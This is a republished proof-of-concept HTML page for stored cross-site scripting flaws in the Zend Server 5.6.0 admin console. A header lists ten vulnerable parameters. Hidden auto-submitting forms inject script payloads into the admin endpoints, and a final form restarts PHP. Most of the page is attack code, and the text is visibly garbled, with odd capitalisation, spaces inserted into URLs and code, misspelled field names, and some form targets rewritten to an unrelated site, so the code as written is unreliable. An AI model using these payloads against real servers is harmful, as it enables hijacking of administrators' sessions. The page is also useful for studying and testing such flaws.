<! --
Title: Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities
Author: Zend Technologies Ltd.
Home: http://www.zend.com
Affected Version: Zend Server 5.6.0
* Zend Optimizer + 4.1
* Zend Code Tracing 1.0
* Zend Data cached 4.0
* Zend Job Queue 4.0
* Zend Debugger 5.3
* Zend Java Bridge 3.1
Summary:
Zend Server is a complete, enterprise-ready Web Application Server for running
And managing PHP applications.
Introduction:
Zend Server and its components suffers from a cross-site scripting vulnerability.
The persistent (stored) XSS issues are triggered when input passed via several parameters
To several scripts is not properly sanitized before being returned to the user. This can
Be exploited to execute arbitrary HTML and script code in a user's browser session in
Context of an affected site. List of parameters and modules that are affected:
---------------------------------------------------------------------------------
* Parameter ** Module/Component *
---------------------------------------------------------------------------------
1. directives [zend_optimizerplus.blacklist_filename] -- Zend: Optimizer +
2. traceUrl -- Zend: Code Tracing
3. host -- Zend: Data Cache
4. name -- Zend: Data Cache
5. path -- Zend: Data Cache
6. ruleName -- Zend: Job Queue
7. directives [zend_jbridge.encoding] -- Zend: Java Bridge
8. directives [zend_debugger.allow_hosts] -- Zend: Debugger
9. directives [zend_debugger.deny_hosts] -- Zend: Debugger
10. directives [zend_codetracing.log_file] -- Zend: Code Tracing
---------------------------------------------------------------------------------
Test Platform: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/0.9.8o
PHP 5.3.9-ZS5.6.0
Vulnerability discoverer Gjoko 'liquidworm' Krstic www.2cto.com
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php
Zend announcement: http://www.zend.com/topics/ZS-560-SP1-ReleaseNotes-20120308.txt
Http://www.zend.com/en/products/server/updates
22.02.2012
-->
<Html>
<Title> Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities </title>
<Link rel = "Shortcut Icon" href = "http://zeroscience.mk/favicon.ico" type = "image/x-icon">
<Body bgcolor = "# 1C1C1C"> <br/>
<Script type = "text/javascript">
Var disclaimer = "This document and all the information it contains are provided \" as is \ ", \ n" +
"For educational purposes only, without warranty of any kind, whether \ n" +
"Express or implied. \ n" +
"The author reserves the right not to be responsible for the topicality, \ n" +
"Correctness, completeness or quality of the information provided in \ n" +
"This document. Liability claims regarding damage caused by the use of \ n" +
"Any information provided, including any kind of information which is \ n" +
"Incomplete or incorrect, will therefore be rejected .";
Var answ = confirm (disclaimer );
If (answ = true) {} else {window. location. href = "http://www.zend.com ";}
Function xss1 () {document. forms ["xss1"]. submit ();}
Function xss2 () {document. forms ["xss2"]. submit ();}
Function xss3 () {document. forms ["xss3"]. submit ();}
Function xss4 () {document. forms ["xss4"]. submit ();}
Function xss5 () {document. forms ["xss5"]. submit ();}
Function xss6 () {document. forms ["xss6"]. submit ();}
Function xss7 () {document. forms ["xss7"]. submit ();}
Function rst () {document. forms ["rst"]. submit ();}
</Script>
<Center>
HTML Response: <Iframe src = "http://www.zeroscience.mk/codes/zend_s03.txt" width = "1100" height = "700"
Name = "ZSL_iframe" align = "top" frameborder = "0" style = "position: absolute; left: 525;
Top: 80; background-color: # cecece; "> </iframe>
<Font color = "#414141" size = "2" style = "position: absolute; top: 795px; right: 55px"> v0.3 </font>
<Br/>
<Form action = "http: // www.2cto.com/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss1" target = "ZSL_iframe">
<Input type = "hidden" name = "trgtAction" value = "Search"/>
<Input type = "hidden" name = "searchName" value = 'ext: Zend Optimizer + '/>
<Input type = "hidden" name = 'ctictives [zend_optimizerplus.blacklist_filename] 'value = '"> <script> alert (1); </script>'/>
</Form>
<Form action = "http: // localhost: 10081/ZendServer/Code-Tracing/Generate-Dump"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss2" target = "ZSL_iframe">
<Input type = "hidden" name = "traceUrl" value = '"> <script> alert (" ZSL "); </script>'/>
</Form>
<Form action = "http: // localhost: 10081/ZendServer/Page-Cache/Save-Rule"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss3" target = "ZSL_iframe">
<Input type = "hidden" name = "compression" value = "1"/>
<Input type = "hidden" name = "host" value = '"> <script> alert (1); </script>'/>
<Input type = "hidden" name = "lifetime" value = "11"/>
<Input type = "hidden" name = "matchConditions" value = "ALL"/>
<Input type = "hidden" name = "name" value = '"> <script> alert (2); </script>'/>
<Input type = "hidden" name = "path" value = '"> <script> alert (3); </script>'/>
<Input type = "hidden" name = 'rule' [zend_widget_pageCache_condition_5] [conditionMatch] 'value = "1"/>
<Input type = "hidden" name = 'rule' [zend_widget_pageCache_condition_5] [conditionType] 'value = "equals"/>
<Input type = "hidden" name = 'rule' [zend_widget_pageCache_condition_5] [conditionValue] 'value = "1"/>
<Input type = "hidden" name = 'rule' [zend_widget_pageCache_condition_5] [conditionVar] 'value = "_ GET"/>
<Input type = "hidden" name = "schema" value = "http"/>
<Input type = "hidden" name = "type" value = "exact"/>
</Form>
<Form action = "http: // localhost: 10081/ZendServer/Job-Queue-Scheduling/Save-Rule"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss4" target = "ZSL_iframe">
<Input type = "hidden" name = "ruleId" value = "/>
<Input type = "hidden" name = "ruleName" value = '"> <script> alert (" ZSL "); </script>'/>
<Input type = "hidden" name = "ruleUrl" value = "http://www.zeroscience.mk"/>
<Input type = "hidden" name = "scheduleDailyTime" value = ""/>
<Input type = "hidden" name = "scheduleEvery" value = "schedule-every-hours"/>
<Input type = "hidden" name = "scheduleEveryHours" value = "1"/>
<Input type = "hidden" name = "scheduleEveryMinutes" value = ""/>
<Input type = "hidden" name = "scheduleHourlyMinute" value = ""/>
<Input type = "hidden" name = "scheduleMonthlyDay" value = ""/>
<Input type = "hidden" name = "scheduleMonthlyTime" value = ""/>
<Input type = "hidden" name = "scheduleType" value = "schedule-every"/>
<Input type = "hidden" name = "scheduleWeeklyTime" value = ""/>
</Form>
<Form action = "http: /localhost: 10081/ZendServer/Directives/Save/extension/WmVuZCBKYXZhIEJyaWRnZQ % 3D % 3D"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss5" target = "ZSL_iframe">
<Input type = "hidden" name = "trgtAction" value = "Search"/>
<Input type = "hidden" name = "searchName" value = 'ext: Zend Java Bridge '/>
<Input type = "hidden" name = "directives [zend_jbridge.encoding]" value = '"> <script> alert (1); </script>'/>
</Form>
<Form action = "http: // www.2cto.com/ZendServer/Directives/Save/extension/WmVuZCBEZWJ1Z2dlcg % 3D % 3D"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss6" target = "ZSL_iframe">
<Input type = "hidden" name = "trgtAction" value = "Search"/>
<Input type = "hidden" name = "searchName" value = 'ext: Zend Debugger '/>
<Input type = "hidden" name = "directives [zend_debugger.allow_hosts]" value = '"> <script> alert (1); </script>'/>
<Input type = "hidden" name = "directives [zend_debugger.deny_hosts]" value = '"> <script> alert (2); </script>'/>
</Form>
<Form action = "http: // localhost: 10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "xss7" target = "ZSL_iframe">
<Input type = "hidden" name = "trgtAction" value = "Search"/>
<Input type = "hidden" name = "searchName" value = 'ext: Zend Code tracing'/>
<Input type = "hidden" name = 'ctictives [zend_codetracing.log_file] 'value = '"> <script> alert (1); </script>'/>
</Form>
<Form action = "http: // localhost: 10081/ZendServer/Configuration/Webserver-Restart"
Enctype = "application/x-www-form-urlencoded" method = "POST" id = "rst" target = "ZSL_iframe">
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "1. xss post Injection --> 'ctictives [zend_optimizerplus.blacklist_filename] '" onClick = "xss1 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "2. xss post Injection --> 'tracurl'" onClick = "xss2 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "3. xss post Injection --> 'host', 'name', 'path'" onClick = "xss3 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "4. xss post Injection --> 'rulename'" onClick = "xss4 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "5. xss post Injection --> 'ctictives [zend_jbridge.encoding] '" onClick = "xss5 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "6. xss post Injection --> 'ctictives [zend_debugger.allow_hosts] '" onClick = "xss6 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # 2C3C8C; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 10; padding-bottom: 10; margin-left: 10"
Value = "7. xss post Injection --> 'ctictives [zend_codetracing.log_file] '" onClick = "xss7 ()"/>
<Br/>
<Input type = "button"
Style = "color: white; background-color: # c05c5c; cursor: pointer; border-style: groove; border-color: black;
Width: 470; text-align: left; padding-top: 5; padding-bottom: 5; margin-left: 10"
Value = "8. Restart PHP" onClick = "rst ()"/>
<Br/>
<Br/>
<Font color = "gray" size = "2" style = "margin-left: 10">©2012. <a href = "http://www.zeroscience.mk"
Target = "_ blank" style = "text-decoration: none"> <font color = "gray"> Zero Science Lab </font> </a> <br/>
<Font style = "margin-left: 10"> Macedonian Information Security Research And Development Laboratory </font>
<Br/> <font style = "margin-left: 10">
Proof of announcement:
<A href = "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php" target = "ZSL_iframe"
Style = "text-decoration: none"> <font color = "gray"> ZSL-2012-5078 </font> </a> </font>
</Body>